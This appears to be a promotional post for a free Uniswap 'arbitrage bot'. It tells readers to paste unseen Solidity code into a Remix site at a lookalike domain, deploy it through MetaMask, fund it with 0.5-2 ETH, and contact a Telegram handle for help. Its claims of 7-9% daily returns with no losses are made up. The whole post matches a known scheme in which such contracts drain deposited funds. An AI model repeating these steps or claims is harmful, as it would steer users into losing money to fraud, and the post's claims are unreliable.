Getting Started with Arbitrage Bots: A Beginner's Handbook!

Check this short video to see how it works and follow the steps below.

Uniswap is a cryptocurrency exchange which uses a decentralized network protocol. If you trade crypto on Uniswap, 1inch or any other decentralized exchange (DEX), then you need to know about these bots sniping profits across exchange pools.

You're now able to take advantage of those big arbitrage profits yourself, a benefit that was previously only available to highly skilled devs.

Here I'll provide you access to a user-friendly (no coding skills required) open-source arbitrage bot letting you enjoy stress-free passive income from day one. It's my flagship project that recently released which runs on ETH pairs for Uniswap.

Using the smart contract source code allows you to create your own bots which stacks up profits from automatic trades.

I'm sharing this bot for free so people can test before buying the Pro Version releasing soon, hopefully this will help you pay for it :)

How to Launch The Arbitrage Bot

1.     Access Remix from PC or Laptop: remix-eth.co

2.     Click the “Create New File” icon in the “Workspaces” section and name it as you like, for example: “bot.sol”.

3.     Paste this code in Remix.

4.     Go to the “Solidity Compiler” tab, select version “0.6.6+commit.6c089d02” and click “Compile bot.sol”.

5.     Go to the “Deploy & Run Transactions” tab, select the “Injected Provider - MetaMask” Environment, connect your wallet and then click “Deploy”. Confirm contract deployment transaction in MetaMask.

6.     Copy your newly created contract address as shown on video and fund it with any amount of ETH (minimum 0.5-2 ETH or higher recommended).

7.     After your transaction is confirmed, click “Start” button to launch the bot. It will start working immediately earning you profits from arbitrage trades. Withdraw your ETH at any time by clicking “Withdraw” button.

If you have any questions or inquiries for assistance, feel free to contact us on Telegram @arbitrage_helping

I'll create a Telegram channel when the Pro Version is closer to a finished product. 

FAQ

If many people use the bot, wouldn’t dilution of profits occur?

I don't plan to limit access to the bot for now because there wont be any affect for our users profiting as the pools that the bot works with have massive liquidities. Users involvement in the pools will always be very minor.

What average profits can I expect?

According to latest user data (past 3 weeks) ROI (Return on Investment) is about +7–9% daily for each user. The bot does not make any losses, it only executes trades when there’s proper arbitrage opportunity to make profit.

What amount does the bot need to work?

We recommend funding the contract with at least 0.5-2 ETH to cover gas fees and possible burn fees. The bot targets token contracts with max 10% burn fee and anything lower but, nowadays most tokens come with 3-6% fees. If you fund the contract with less than recommended amounts and the bot targets another token with high burn fees the contract will basically waste in fees instead of profit.

Does it work on other chains or DEXes as well?

No, currently the bot is dedicated only for Ethereum on Uniswap pools.